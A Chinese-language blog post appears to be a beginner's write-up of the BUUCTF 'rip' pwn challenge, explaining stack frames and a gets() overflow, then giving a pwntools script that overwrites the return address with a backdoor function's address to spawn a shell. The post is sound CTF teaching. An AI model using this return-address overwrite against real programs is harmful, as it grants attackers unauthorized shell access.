首页 > 其他分享 >BUUCTF-pwn-rip(第一个栈溢出)

BUUCTF-pwn-rip(第一个栈溢出)

时间:2023-12-02 18:45:25浏览次数:32  
标签:BUUCTF 函数 rip fun ebp pwn saved 溢出 字节

这两天在学习pwn,在ctf wiki学习了典型的栈溢出,参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

在做题目的时候发现buuctfripctf wiki的示例题目一样,考的都是gets()方法的不限制输入

首先,根据ctf wiki的描述,总结栈相关的知识:

  1. 栈在汇编代码中使用push入栈(压栈),使用pop出站(销栈),采用先进后出的概念
  • 可以理解为物理上在一个棍子上套圈,先套上去的后拿出来
  1. x86x64的区别:
  • x86的参数直接放在
  • x64的参数会放在RDI, RSI, RDX, RCX, R8 和 R9寄存器中,放不下的参数会放在栈中

什么是栈溢出

根据我的大白话就是一个杯子只能放这么多水,再往里面倒更多的水,就会溢出,栈溢出也属于缓冲器溢出。
缓冲区类似包括:

  • 栈溢出
  • 堆溢出
  • bss溢出

虽然不知道这些是什么,至少了解了这个概念。

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址
ctf wiki用一个很好的概念来理解的结构,如下

                                           +-----------------+
                                           |     retaddr     |
                                           +-----------------+
                                           |     saved ebp   |
                                    ebp--->+-----------------+
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                                           |                 |
                              s,ebp-0x14-->+-----------------+

从图中可以看出,s变量一共可以传入的字节大小为14,如果超过的话,多出的就会到saved ebp中,根据我的查阅saved ebp保存的是栈帧,根据栈帧确定变量的返回值,x86saved ebp的大小为4个字节x64saved ebp的大小为8个字节,最后的retaddr就是溢出的部分,我们可以控制retaddr的值,将其修改为我们想要执行函数的内存地址。

  • EBP(帧指针):指向栈底,保存了调用函数时栈的基址。
  • saved EBP(保存的帧指针):一般用于和EBP配合使用,以便在函数调用结束后返回。
  • retaddr(返回地址):指向函数的返回地址。当函数执行完成后,程序会返回到这个地址

上述我们已经简单了解了缓冲区溢出,现在就可以对该题目进行解题了
下载该题目文件pwn1,使用filechecksec查看文件相关信息

这是一个x64位的ELF可执行文件,没有开任何防御机制,专门给我们练手的题目

使用ida打开分析main函数

gets()没有限制用户的输入,使用puts()进行输出

在仔细观察,有一个自定义fun()函数,其中的内容会执行/bin/sh获得shell,这就是改题目给我们留下的后门,我们需要通过获取靶机的shell,然后获取flag

现在我们的思路就是:
gets()方法溢出,返回的地址是fun()函数的地址执行fun()函数

  1. 双击s变量,查看该变量定义的大小。从0f,大小就是15也就是十六进制f

  2. 获取fun()函数的内存地址,这里为0x401186

  3. 编写exp
    编写思路如下:连接靶机端口,发送payload,获取靶机shell
    其中有一些细节,请看注释

# 导入 pwntools 模块
from pwn import *

# 和靶机进行连接 
r = remote("node4.buuoj.cn",26817)

# 定义fun函数的内存地址
fun_addr = 0x401187

# 定义payload,一共需要十六进制f(15)个字节数据a,需要8个十进制字节数据(b),这些都是垃圾数据
# 最后加上p64函数转换的fun函数的地址
payload = (b"a" * 0xf) + (b"b" * 8) + p64(fun_addr)

# 发送payload
r.sendline(payload)

# 获取靶机交互式终端
r.interactive()

上述脚本一些重要的知识点解析:

  • 发送f(15)个字节数据a,是因为ebp的大小为15
  • 发送8个字节数据b,是因为saved ebp的大小位8(x64)位程序
  • 最后发送p64函数包裹的数据,是为了让程序认为这是一个内存地址,不然接受的就是字符0x401187

运行得到执行ls,cat flag得到flag

今天解决了做pwn第一道题目时候为什么手动输入地址是不行的概念,为什么需要再脚本中输入p64或者p32函数包裹,因为在计算机存储中,每个值按照字节进行存储。一般采用小端存储,就是上述的0x401187在内存中的表现形式就是

\x87\x11\x40

不能再终端输入的原因是,在终端输入\或者x会认为这是一个单独的字符,所以要想把\x87\x11\x40这样的字符传入,就需要使用pwntools中带有的p64p32函数。

标签:BUUCTF,函数,rip,fun,ebp,pwn,saved,溢出,字节
From: https://www.cnblogs.com/Junglezt/p/17871927.html

相关文章

  • 前端学习-JavaScript学习-js基础-API02-轮播图案例
    自己写的<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><metaname="viewport"content="width=device-width,initial-scale=1.0"><title>Document</title>......
  • pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕)
    如题,总结一下我目前在pwn中常见的一些绕过,方便以后随时查阅strlen这是检验字符串长度的函数,常见的形式是“当字符串个数>number时,失败”,绕过它其实很简单,在输出的字符串开头加上'\x00',这样strlen就不会检测后续字符串的个数了,就完成了绕过strncmp指定比较size个字符串,有三个参......
  • 【pwn】shellcode revenge --0~9,A~Z字符的shellcode
    查一下保护拖进ida看主要逻辑这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制if(buf>90||buf<=47||buf>57&&buf<=64) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode......
  • 深入理解Async/Await:从原理到实践的JavaScript异步编程指南
    理解async/await的原理和使用方法是理解现代JavaScript异步编程的关键。这里我会提供一个详细的实例,涵盖原理、流程、使用方法以及一些注意事项。代码注释会尽量详尽,确保你理解每个步骤。实例:使用async/await进行异步操作<!DOCTYPEhtml><htmllang="en"><head><metacha......
  • Misc_XCTF_WriteUp | János-the-Ripper
    题目分析用记事本打开文件,看见开头有明显的PK,猜测是zip压缩包,且包内有flag的txt文件。用010Editor打开文件,另存为zip压缩文件。解压文件,发现需要密码。用Ziperello进行爆破:得到密码:打开压缩包,得到flag。Flagflag{ev3n::y0u::bru7us?!}......
  • ISCTFpwn的ezpie题解
    目前接触的随机好像都与地址有关,而且还有一个特性也就是只是基址随机,只要有任意一个地址就可以知道其他所有具体地址。(libc和pie保护)这里将通过ezpie这道题介绍绕过pie的一种方式,泄露地址一获取全部地址的方法。本人还不太懂partiallywrite的原理,就不误人子弟了。这里我们看到v5......
  • python网站创建008:初始JavaScript
    JavaScript:是一门可以操作html标签的一门语言。可以实现类似“弹框”的功能 实现需求:假如我想在一个输入框内输入“helloworld”,点击某个按钮,然后在“弹框”上显示出“helloworld”,这该怎么做呢? 1.首先将“输入框”和“点击”按钮写出来,如下:<!DOCTYPEhtml><html><he......
  • 2023ISCTFpwn题目:stack题解
    这是我在这次比赛中遇到最有意思的一题,不仅让我看到了一种有意思的题型,而且让我开始看懂了pwndbg的调试界面。IDA里面是这样的,有直接可以提权的backdoor函数,有read函数,看似有点像ret2system。让我们分析一下这个函数的读入逻辑:首先让你输入一个size值,read会总共分size次读入一个字......
  • Applescript实现无痕检测手机号或邮箱号是否注册iMessage服务,iMessage蓝号检测完美实
    一、检测数据的两种方式:1.人工筛选,将要验证的号码输出到文件中,以逗号分隔。再将文件中的号码粘贴到iMessage客户端的地址栏,iMessage客户端会自动逐个检验该号码是否为iMessage账号,检验速度视网速而定。红色表示不是iMessage账号,蓝色表示iMessage账号。2.编写脚本控制Macos/iphon......
  • react18 typeScript useSelector 提示state 类型未知
     解决方案store/index.tsximport{configureStore}from'@reduxjs/toolkit';import{useSelector,useDispatch}from'react-redux'importtype{TypedUseSelectorHook}from'react-redux'importuserfrom'./modules/user&#......